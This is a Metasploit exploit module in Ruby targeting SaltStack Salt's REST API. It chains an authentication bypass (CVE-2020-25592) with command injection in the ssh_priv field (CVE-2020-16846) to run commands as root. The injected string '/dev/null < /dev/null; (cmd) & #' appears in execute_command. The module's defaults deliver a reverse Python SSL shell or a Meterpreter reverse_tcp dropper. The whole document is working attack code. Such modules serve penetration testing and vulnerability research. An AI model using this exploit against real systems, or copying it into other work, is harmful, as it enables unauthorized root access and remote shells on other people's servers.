SaltStack Salt REST API Arbitrary Command Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'SaltStack Salt REST API Arbitrary Command Execution',  
'Description' => %q{  
This module exploits an authentication bypass and command injection in  
SaltStack Salt's REST API to execute commands as the root user.  
  
The following versions have received a patch: 2015.8.10, 2015.8.13,  
2016.3.4, 2016.3.6, 2016.3.8, 2016.11.3, 2016.11.6, 2016.11.10,  
2017.7.4, 2017.7.8, 2018.3.5, 2019.2.5, 2019.2.6, 3000.3, 3000.4,  
3001.1, 3001.2, and 3002.  
  
Tested against 2019.2.3 from Vulhub and 3002 on Ubuntu 20.04.1.  
},  
'Author' => [  
'KPC', # CVE-2020-16846 (ZDI-CAN-11143)  
'wvu' # Exploit  
],  
'References' => [  
['CVE', '2020-16846'], # Command injection  
['CVE', '2020-25592'], # Auth bypass  
['URL', 'https://www.saltstack.com/blog/on-november-3-2020-saltstack-publicly-disclosed-three-new-cves/']  
],  
'DisclosureDate' => '2020-11-03', # Vendor advisory  
'License' => MSF_LICENSE,  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => true,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_python_ssl'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :linux_dropper,  
'DefaultOptions' => {  
'CMDSTAGER::FLAVOR' => :bourne,  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'SSL' => true  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options([  
Opt::RPORT(8000),  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
])  
end  
  
def check  
res = execute_command('')  
  
unless res  
return CheckCode::Unknown('Target did not respond to check.')  
end  
  
# Server: CherryPy/18.6.0  
unless res.headers['Server']&.match(%r{^CherryPy/[\d.]+$})  
return CheckCode::Unknown('Target does not appear to be running Salt.')  
end  
  
# {"return": [{}]}  
unless res.code == 200 && res.get_json_document['return'] == [{}]  
return CheckCode::Safe('Auth bypass failed.')  
end  
  
CheckCode::Vulnerable('Auth bypass successful.')  
end  
  
def exploit  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager(background: true)  
end  
end  
  
def execute_command(cmd, _opts = {})  
vprint_status("Executing command: #{cmd}") unless cmd.empty?  
  
# https://docs.saltstack.com/en/latest/ref/netapi/all/salt.netapi.rest_cherrypy.html#post--run  
# https://github.com/saltstack/salt/pull/58871  
send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'run'),  
'ctype' => 'application/json',  
'data' => {  
'client' => 'ssh',  
'tgt' => '*',  
'fun' => rand_text_alphanumeric(8..42),  
'eauth' => rand_text_alphanumeric(8..42), # Auth bypass  
'ssh_priv' => "/dev/null < /dev/null; (#{cmd}) & #" # Command injection  
}.to_json  
)  
end  
  
end  
`